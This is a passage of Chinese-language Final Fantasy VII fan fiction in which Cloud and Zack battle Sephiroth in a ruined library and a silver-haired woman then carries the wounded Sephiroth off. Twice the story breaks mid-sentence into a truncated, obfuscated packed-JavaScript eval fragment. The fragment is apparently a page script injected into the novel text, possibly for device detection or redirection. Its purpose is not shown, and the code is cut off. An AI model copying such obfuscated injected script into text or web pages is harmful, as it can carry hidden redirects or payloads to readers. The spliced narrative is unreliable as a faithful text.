扎克斯也注意到了,他蹲下身,小心翼翼地捡起其中一本看起来最厚的书。他吹了吹封面上的灰尘,露出了几个烫金的、但已模糊不清的字母。 《杰诺瓦计划早期研究报告:附录卷 III》 “杰诺瓦?” 扎克斯翻开书页,里面的内容更加晦涩难懂,充斥着大量的专业术语和复杂的图表。 克劳德的注意力却不在那本书上。 他的目光被大厅一侧,一扇紧闭的、看起来比其他门都要厚重的橡木门吸引了。那扇门上挂着一把巨大的、早已锈蚀的铜锁。 直觉告诉他,门后有什么东西。 有什么呢? 他必须要面对的东西。 当手不知不觉的已经触及门把手时,身后传来了砰的一声。 突兀的合书声,像是投入死寂深潭的石块,在大厅里激起沉闷的回音。 克劳德的手指还停留在冰冷的门把手上,他缓缓转过身,看向身后蹲在地上的扎克斯。 冬日清晨微弱的光线从破碎的彩色玻璃窗投下,恰好有一束落在了扎克斯身上,将他那张平日里总是挂着笑容的脸庞切割出明暗交错的光影。 总是像晴空一样明亮的青色眼眸,此刻却像是被阴云笼罩的海面,翻涌着克劳德从未见过的、深沉的怒意和某种…… 难以言喻的悲伤。 “扎克斯?” 扎克斯没有立刻回答,他将那本厚重的研究报告紧紧地攥在手里,指节因为用力而泛起青白。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这里是一个巨大的圆形空间,从地面到穹顶,整整三层楼高的书架环绕四周,上面密密麻麻地摆满了各种厚重的书籍。 一道螺旋形的铁艺楼梯通往上层,但已经被蛛网和灰尘覆盖得看不出原貌。 唯一的光源来自穹顶中央一个巨大的圆形天窗,浑浊的日光穿过厚厚的积灰,洒下一道巨大的、如同实质的光柱,将整个空间的气氛衬托得愈发压抑而庄严。 在正中央。 那个身影静静地站在从天窗洒下的巨大光柱之中,仿佛世界的中心。 银色的长发如同流动的月光,垂至腰际。即便只是一个背影,那份超然于世的孤高与强大,也足以让空气凝结。 他似乎正在翻阅着一本厚重的书籍,动作优雅而从容,对身后闯入的两人毫不在意。 扎克斯瞥见了书籍的封面—— 《杰诺瓦计划早期研究报告:附录卷 III》 可恶,这本书是什么时候落入他手里的?刚刚明明…… “萨……菲罗斯……” 克劳德下意识地握紧了背后的符文剑剑柄,浅青色的魔晄眼中倒映着那个熟悉又让人战栗的身影,瞳孔因剧烈的情绪波动而收缩。 扎克斯的反应更快。 他几乎是在看清那个背影的瞬间,就将破坏剑横在身前,肌肉紧绷,全身都进入了最高级别的戒备状态。 “克劳德,退后!” 站在光柱中的身影,缓缓地合上了手中的书。 他转过身来。 依旧是那张完美得近乎神祇的脸庞,依旧是那双蕴含着魔晄光辉的碧绿眼眸。 他的嘴角甚至还带着一丝若有若无的、仿佛在审视着有趣事物的浅笑。 “终于来了吗?” 萨菲罗斯的声音很轻,却清晰地回荡在死寂的图书馆中。 “看来,连最劣质的人偶,也会被本能所牵引。” 他的目光越过挡在前面的扎克斯,精准地落在克劳德的脸上。 “你的记忆,还是这么混乱吗,克劳德?连自己是谁,都搞不清楚。” “闭嘴!” 扎克斯怒喝一声,向前踏出一步,破坏剑的剑尖直指萨菲罗斯。 “你这家伙,到底想干什么?!” 萨菲罗斯完全无视了扎克斯的质问。他只是饶有兴致地看着克劳德,看着他那张因为痛苦和愤怒而扭曲的脸。 “你看,你甚至连最基本的愤怒,都显得如此……空洞。”萨菲罗斯的语调平缓,“因为那不是属于你的东西。你的情感,你的记忆,你的存在本身,都不过是拼凑起来的谎言。” “萨菲罗斯,这样的话才不会影响到——” “她在哪?” 克劳德出奇的,平稳的声音。 银发男人的笑意消失了。 深绿的眼眸,像是瞬间被冰封的湖面,所有光彩与温度都在一刹那间褪去,只剩下深不见底的、凛冽的寒意。那份原本还带着些许戏谑的优雅荡然无存,取而代之的是一种纯粹的、不加掩饰的厌恶。 “她?你没有资格,提起她的名字。” “你这个失败的复制品。” 萨菲罗斯手上那本厚重的书化作莹色的光点消散在空中,随手一挥,银色的刀光显露。 74.第68章 没有丝毫犹豫。 第一个冲上去的是克劳德。 符文剑宽厚的剑身撕裂了昏暗的空气,带着一股一往无前的决绝,当头劈向那个银色的身影。 克劳德的身形因用力而绷紧,浅青色的眼眸中只剩下萨菲罗斯那张平静到近乎残酷的脸。 面对这裹挟着全部怒火的一击,萨菲罗斯甚至连脚步都没有移动分毫。 他只是轻描淡写地抬起了左手,正宗狭长的刀身如同一道银色的闪电,后发而先至,精准无误地迎上了符文剑的剑刃。 “锵——!” 尖锐到足以刺破耳膜的金属撞击声在巨大的图书馆内回荡,震得书架上的尘埃簌簌落下。 克劳德只觉得一股沛然莫御的巨力从剑身传来,震得他虎口发麻,整条手臂都失去了知觉。 “你的剑术,还是这么空洞无力。每一招,每一式,都充满了模仿的痕迹。你在模仿谁?扎克斯?还是……她?” “住口!”扎克斯的怒吼紧随而至。 破坏剑带着万钧之势从侧方猛击而来,宽大的剑身在空中划出一道沉重的弧线,目标直指萨菲罗斯持刀的左手。 萨菲罗斯手腕轻巧一翻,正宗的刀身如同拥有生命的灵蛇,顺着符文剑的剑脊向上一滑,以一个不可思议的角度,轻轻一带,便将克劳德连人带剑甩向一旁。 同时,他向后滑出一步,恰到好处地避开了破坏剑刚猛的锋芒。 “扎克斯,你的莽撞还是一如既往。”萨菲罗斯的声音里听不出喜怒,“看来,安吉尔的‘荣耀’,你并没有学到多少。” “少在那里提起安吉尔的名字!” 被甩开的克劳德重重地撞在一排书架上,巨大的冲击力让整排书架都剧烈晃动,无数厚重的书籍如同暴雨般倾泻而下。 他强忍着手臂的剧痛,用剑支撑着身体,摇摇晃晃地站了起来。 那些飞舞的书页,在昏暗的光线中,像一只只白色的蝴蝶,在他眼前缭乱。 模仿……模仿谁…… “回到过去,改变选择。听起来……好麻烦啊。” “现在,真的有这么糟糕吗?” 更糟糕的,是我连“现在”是什么都搞不清楚。 图书馆内,剑刃交击之声不绝于耳。 扎克斯的攻势如同狂风暴雨,而萨菲罗斯则像风暴中心屹立不倒的灯塔。 他仅用单手持刀,每一次格挡都精准而优雅,正宗狭长的刀身总能在最关键的时刻出现在最正确的位置,以最小的代价化解扎克斯狂猛的攻击。 与其说是在战斗,不如说是一场不对等的,带着嘲弄的指导。 萨菲罗斯的脚步从容不迫,在扎克斯密集的剑网中游刃有余地穿梭,时不时还会用刀背轻轻敲击在扎克斯剑招的破绽之处。 “太慢了。” “力量太分散。” “你的呼吸乱了,扎克斯。” 他每一次开口,都像针一样,精准地刺在扎克斯的痛处。 “可恶!”扎克斯一记重劈被萨菲罗斯轻易荡开,身体因为用力过猛而出现了一瞬间的僵直。 就是这一瞬间。 一道银光闪过。 “噗嗤——” 鲜血飞溅。 萨菲罗斯的身影如同鬼魅般出现在扎克斯的身后,正宗的刀锋已经划过了扎克斯的后背,留下一道深可见骨的伤口。 “呃啊!” 扎克斯发出一声痛苦的闷哼,他踉跄着向前冲了几步,单膝跪倒在地,破坏剑重重地插进地板,支撑着他没有倒下。鲜血迅速染红了他背后的特种兵制服。 “无能。” “扎克斯,比起当年,你没有丝毫的长进。” 萨菲罗斯不紧不慢地甩去正宗刀身上沾染的血珠,血滴在蒙尘的地板上,晕开一小片刺目的殷红。 薄唇轻启,傲慢的话语还未吐出,银发男人猛地侧过身,轻松躲过了来自身后符文剑的重重一击—— 巨大的剑锋砸在书架上,灰尘和白纸漫天飞舞。 没有一丝停顿,克劳德再次挥剑。 他的第二次攻击比第一次更加迅猛,符文剑宽厚的剑身带着破釜沉舟的决意,在空中划出一道沉重的风声。 他似乎完全无视了疼痛,也无视了自己仍在嗡鸣的手臂,所有的意志都凝聚在这一剑之上。 “还不够。” 银发男人轻松写意的躲避。 “轰——!” 又一排高大的书架轰然倒塌,腐朽的木料与尘封的书籍瞬间将克劳德的身影淹没。 萨菲罗斯转过身,居高临下地看着那片废墟,碧绿的眼眸里没有一丝波澜。 “只是在发泄你那廉价又无能的痛苦吗?” 萨菲罗斯伸手,挥动正宗,随手格挡住了一旁不知何时冲来的扎克斯,黑发男人擦去嘴角的血渍,快速的格挡与进攻。 图书馆内回响着金属碰撞的清脆声音。 一计横斩过后,萨菲罗斯顺着扎克斯的力道稍稍退后—— 倏地。 那个刚刚被掩埋在灰尘里的金色身影再次出现,借着扎克斯创造的空隙,挥剑向前。 扎克斯捕捉到了这个瞬间。 他没有丝毫犹豫,强忍着背部的剧痛,从另一个角度发动了攻击。破坏剑沉重的剑身放弃了精妙的技巧,转而以最直接、最原始的方式,配合着克劳德,对萨菲罗斯形成了夹角之势。 两个人没有言语,甚至没有眼神的交汇。 “哦?” 萨菲罗斯的眉头轻微地挑动了一下。 手中的正宗化作一道银色的圆弧,以一个匪夷所思的角度,在同一时间精准地格挡住了来自两个方向的攻击。 “锵——!” 比之前任何一次都要响亮的金属交鸣声在图书馆内炸开,巨大的冲击波以三人为中心向四周扩散,将那些摇摇欲坠的书架彻底掀翻。 无数的书籍被抛向空中,又如同雪崩般落下,纸页翻飞,遮蔽了天窗投下的光柱。 在这个由飞舞纸页构成的短暂世界里—— 两个被击飞的身影近乎同时,握紧剑锋,向那个银色的影子冲刺。 “克劳德!” 扎克斯用力一掷,破坏剑巨大的剑身堪堪擦过银色长发的发尾,剑身卡在支撑的石柱上。 金色的影子猛地跃起,踩着破坏剑的剑身,跳至高空。 时间在这一刻仿佛被无限拉长。 符文剑宽厚的剑身之上,浅青色的魔晄光芒以前所未有的亮度凝聚起来,如同在他的手中握住了一颗小小的星辰。 他将全身的力量、所有的愤怒、所有的不甘,都灌注进了这即将落下的一剑。 【超究武神霸斩——】 符文剑携着毁灭性的力量,轰然斩落。 面对这石破天惊的一击,萨菲罗斯那张始终带着从容笑意的脸上,终于出现了一丝细微的变化。 他那双深绿的眼眸微微收缩,倒映着空中那坠落的“星辰”。 没有选择格挡。 就在符文剑的锋芒即将触及他头顶的瞬间,萨菲罗斯的身后,单侧的、如同午夜般漆黑的羽翼展开。 “轰——!” 黑色的羽翼如同最坚固的盾牌,与符文剑重重地撞击在一起。 爆发出的不再是清脆的金属交鸣,而是一声沉闷到极致的、仿佛要将整个空间都震碎的巨响。 强大的能量冲击波以碰撞点为中心,化作肉眼可见的环形气浪向四周疯狂扩散。 图书馆内残存的一切,书架、桌椅、腐朽的木料,都在这股力量下被瞬间撕裂、粉碎,化作漫天齑粉。 克劳德只觉得一股无法抗拒的、山崩海啸般的力量从剑身反震回来,瞬间摧毁了他手臂上所有的防御。 符文剑脱手而出,他的身体如同断线的风筝,被狠狠地抛了出去,重重地砸在图书馆布满裂纹的墙壁上,然后无力地滑落。 “噗——” 一口鲜血从他口中喷出,染红了身下的废墟。 视野迅速变得模糊,耳边只剩下尖锐的嗡鸣。 另一边,扎克斯也被那股狂暴的冲击波扫中,本就重伤的身体再也支撑不住,整个人被掀飞出去,撞断了一根硕大的石柱,才在一堆残骸中停了下来,彻底失去了意识。 漫天的尘埃与纸屑缓缓落下,如同为这场惨烈的战斗落下帷幕。 死寂。 绝对的死寂。 萨菲罗斯缓缓收拢起身后的黑翼,他依旧站在原地,连衣角都没有丝毫凌乱。回过头。看了一眼自己那只漆黑羽翼的边缘,那里,留下了一道浅浅的、几乎可以忽略不计的白色划痕。 他的目光在上面停留了片刻,然后抬起头,看向废墟中那个挣扎着想要爬起来的金色身影。 “有点意思。” 萨菲罗斯的声音在空旷而破败的图书馆里响起,不带任何情感。 “你终于,用出了一点属于你自己的东西。” “虽然依旧……弱小得可怜。” 他迈开脚步,不紧不慢地走向失去意识的扎克斯,正宗的刀尖在地上拖出一道细长的痕迹。 萨菲罗斯停在扎克斯身边,居高临下地看着这个曾经的同僚。 “你还记得以前自己说过的话吗?” “多么无能的‘英雄’,居然有过那样的妄想。你想照顾她?” “扎克斯,你连自己都保护不了,又拿什么去守护她?” 他微微俯下身,银色的长发如瀑布般垂落,几缕发丝甚至轻轻触碰到了扎克斯沾满血污的脸颊。 “你甚至不知道她真正需要的是什么。你送出的那些廉价的热情和无聊的承诺,在她看来,不过是小孩子过家家一般的游戏。” “你们都一样,试图用自己那点微不足道的光芒去照亮太阳。” “结果,只会被——” 剑刃刺穿躯体的声音。 萨菲罗斯回过头—— 血腥味,粗喘的气息,死死注视着他的浅青色眸子。 剑身宽厚,几乎将他半个腰腹都贯穿。暗红色的血液顺着剑锋与他黑色风衣的缝隙缓缓渗出,滴落在蒙尘的地板上,发出微不可闻的“滴答”声。 “去死吧。” 一下。 温热的血肉被撕碎。 又一下。 “去死吧,萨菲罗斯。” 紧紧的握着剑柄。 “把母亲还给我!” 克劳德能听到,自己粗重如破旧风箱般的喘息,以及胸腔里那颗快要跳出喉咙的心脏。 “把她……还给我!” 又一下。 那双深绿的眼眸,第一次清晰地映出了惊愕。 时间仿佛在这一刻被拉扯得无比漫长。萨菲罗斯微微低下头,视线落在贯穿自己腰腹的、那柄宽厚的符文剑上。 对他而言有些陌生的触感。 完美无瑕的脸上,那抹短暂的错愕迅速褪去,取而代之的是一种极寒的、如同万年冰川般的平静。 他甚至缓缓地抬起手,戴着黑色手套的指尖,轻轻地触碰了一下符文剑冰冷的剑身。 “她不是你的。” “我让你闭嘴!” 克劳德猛地扭转剑柄。 呲——! 血肉被无情撕裂的声音在死寂的图书馆内显得格外刺耳。萨菲罗斯的身体因为这剧烈的伤势而微微一颤。 “克劳德,你从未拥有过任何东西。她……” 噗呲。 “闭嘴。” 符文剑的剑锋再次传来一股巨力, 这次,径直连着那戴着手套的左手也一齐刺穿,正宗化作莹绿色的光点弥散在空中。 萨菲罗斯没有再说话。 那双被贯穿的手,戴着黑色皮革手套的五指,以一种缓慢而坚定的力道,紧紧地握住了符文剑冰冷的剑身。 锋利的剑刃割破了手套,也割破了他手心的皮肤,但萨菲罗斯仿佛感觉不到疼痛。 银发的男人,忽地,抿唇,显露出一抹笑意。 为什么……在笑? 沾染着灰尘和汗水的金发耷拉在克劳德的额前,这抹突如其来的情绪让他被怒火和偏执淹没的内心稍稍脱离。 紧锁的大门,被猛地踹开。 轰—— 图书馆那扇本就摇摇欲坠的厚重橡木门,被一股粗暴无比的力量从外面整个踹飞了进来。 巨大的门板在空中翻滚着,夹杂着飞溅的木屑和尘土,重重地砸在不远处的废墟之上,发出一声沉闷的巨响。 门外倾泻而入的光线,瞬间驱散了图书馆内大半的昏暗,也让所有人的视线,都不由自主地投向了那个破开的大门。 一个银色的身影,正逆着光,静静地站在门口。 她穿着一身熟悉的黑袍,布帛下是便于行动的黑色劲装,勾勒出纤细而充满爆发力的身体线条。 银白色的长发被随意地束成一个低马尾,几缕不听话的发丝在微风中轻轻飘动。 莹绿色的眼眸,正平静地扫视着眼前这片狼藉—— 倒塌的书架,漫天的纸页,还有……交织在一起的、鲜血淋漓的三个人。 她的脸上没有任何惊讶或者震动的情绪,反而微微蹙起了眉头,那神情像是在嫌弃一盘被弄得乱七八糟的、本该很美味的菜肴。 “啧。” 一声轻微的、带着明显不悦的咂嘴声,清晰地回荡在死寂的图书馆中。 女人迈开脚步,不紧不慢地走了进来。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人随手将那柄沾满了萨菲罗斯鲜血的符文剑往地上一丢,发出“当啷”一声脆响。她看都没看一眼昏死过去的克劳德,只是转过身,重新面对着萨菲罗斯。 银发男人的身体因为剑被拔出而剧烈地晃动了一下,鲜血从伤口处涌出得更凶了。 但他依旧站着,那双深绿的眼眸,自始至终,都只倒映着对方一个人的身影。 眼底,翻涌着浓稠的东西。 她伸出另一只没有沾血的手,用指尖轻轻碰了碰萨菲罗斯苍白的脸颊,动作像是习以为常。 “你怎么被打成这样?刚实体的分身等我见个爹就裂成这样,有点好笑了。” 说完,女人不再多言,手臂环过萨菲罗斯的腰,将那个高大的、几乎失去全部力气的身体,揽进了自己的怀里,支撑住他。 “重死了。” 她嘟囔了一句,非但没有放缓脚步,反而像是故意一般,拖着他的身体在满是碎片的地面上,发出刺耳的摩擦声。 萨菲罗斯任由她摆弄,没有发出任何声音,只是将头更深地埋进她的肩窝,银色的长发凌乱地滑落,遮住了他苍白的侧脸。 “你来晚了。” “嗯,我来晚了。” 对方不在意地应了一声,手臂收紧,更稳地托住了他。 “谁让你不等我,自己跑去说要看什么资料?” “因为我想要先你一步找到与你有关的资料。” 萨菲罗斯的声音很轻,每一个字都像是从喉咙深处艰难挤出,却依旧带着那份独有的、不容置喙的傲慢。 “关于你的信息,是独一无二的,并不在生命之流的信息里,而我不想让别人得到。” “哦,是吗?” 她拖着他,靴子碾过一地破碎的书页,发出令人牙酸的摩擦声。 “那你的书看完了吗,英雄大人?” “……没有。” “啧,那你还真是亏大了。” “不仅书没看完,还被一只陆行鸟捅了个对穿。萨菲罗斯,我要是你,现在就找个魔晄炉跳下去,免得丢人。” 说着,脚下却丝毫不停,她硬是拖着这个比她高大许多的男人,穿过狼藉的图书馆,走向那被踹开的大门。 萨菲罗斯没有反驳对方的话,只是将头埋得更深,鼻尖蹭过她颈窝。 那双环在她肩上的手臂收得更紧,仿佛要将自己嵌入她的身体里。 走过倒在地上的克劳德和扎克斯时,她的脚步停顿了一下。 微微偏过头,莹绿色的眼眸扫过那两个昏死过去的身影。 扎克斯背后的伤口依旧在渗着血,而克劳德则蜷缩在墙角,脸上还挂着未干的血迹与泪痕,即使在昏迷中,眉头也紧紧地皱着。 “真狼狈。” 她轻声评价,然后像是想起了什么。 两抹绿色的光点浸入二人的身躯,伤势以肉眼可见的速度恢复——与此同时,萨菲罗斯的眉头肉眼可见的皱起。 顺便,空着的那只手在自己的黑袍口袋里摸索了一阵,掏出了两颗包装鲜艳的水果硬糖。 她弯下腰,将一颗糖塞进了扎克斯的口袋里,又将另一颗,不轻不重地丢在了克劳德的身上。 “我只有这个了。下次打架,记得先吃饱饭,睡好觉吧。” 说完,她不再停留,拖着萨菲罗斯,头也不回地走出了神罗公馆。 “为什么要治愈他们?” “我想。” “……” 萨菲罗斯沉默了半晌。 “他的剑术里……有你的影子。” “嗯?” 像是没听清,她停下脚步,有些不耐烦地回头。 “你说什么?大点声,我听不见。” 萨菲罗斯抬起头,眸色在阳光下显得有些涣散,但依旧执着地看着她。 “克劳德。他最后的那一剑,是在模仿你。” “你的速度,你的发力——所以我才会没有意识到。” “哦,那个啊。” 她一副恍然大悟的样子。 “那不是我之前教得好吗?看来他的确掌握了’随便砍‘。毕竟是我的小弟,总不能太丢人吧?” “……他凭什么?” “萨菲罗斯,你是不是被打傻了?他是我小弟,我教他两招,不是天经地义的吗?难道还要向你这位英雄大人打报告申请?” 阳光从公馆的尖顶旁穿过,照亮了庭院里飞扬的尘埃。 她拖着这个高大的男人,就这样堂而皇之地从那群神罗雇佣的、此刻早已吓得呆若木鸡的“村民”面前走过。